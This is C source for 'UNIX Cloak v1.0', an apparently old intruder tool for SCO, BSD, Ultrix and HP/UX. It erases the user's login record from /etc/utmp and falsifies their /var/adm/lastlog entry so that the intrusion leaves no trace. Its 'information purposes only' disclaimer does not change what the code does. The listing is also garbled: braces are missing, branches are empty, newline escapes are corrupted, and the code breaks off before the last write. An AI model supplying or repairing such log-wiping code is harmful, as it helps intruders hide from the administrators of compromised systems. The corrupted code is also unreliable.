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Cloak 1.0 log cleaner for SCO, BSD, Ultrix, and HP/UX UNIX

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/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */ 
/* This file totally wipes all presence of you on a UNIX system*/ 
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */ 
/* is compatible.. This file is for information purposes ONLY!*/ 

/*--> Begin source... */ 
#include <fcntl.h> 
#include <utmp.h> 
#include <sys/types.h> 
#include <unistd.h> 
#include <lastlog.h> 

main(argc, argv) 
int argc; 
char *argv[]; 
	char *name; 
	struct utmp u; 
	struct lastlog l; 
	int fd; 
	int i = 0; 
	int done = 0; 
	int size; 
	if (argc != 1) { 
		if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) { 
			printf("You are now cloakedn"); 
			goto start; 
		else { 
			printf("close successfuln"); 
	else { 
		printf("usage: close [file to close]n"); 
	name = (char *)(ttyname(0)+5); 
	size = sizeof(struct utmp); 
	fd = open("/etc/utmp", O_RDWR); 
	if (fd < 0) 
	else { 
		while ((read(fd, &u, size) == size) && !done) { 
			if (!strcmp(u.ut_line, name)) { 
				done = 1; 
				memset(&u, 0, size); 
				lseek(fd, -1*size, SEEK_CUR); 
				write(fd, &u, size); 
	size = sizeof(struct lastlog); 
	fd = open("/var/adm/lastlog", O_RDWR); 
	if (fd < 0) 
	else { 
		lseek(fd, size*getuid(), SEEK_SET); 
		read(fd, &l, size); 
		l.ll_time = 0; 
		strncpy(l.ll_line, "ttyq2 ", 5); 
		gethostname(l.ll_host, 16); 
		lseek(fd, size*getuid(), SEEK_SET); 


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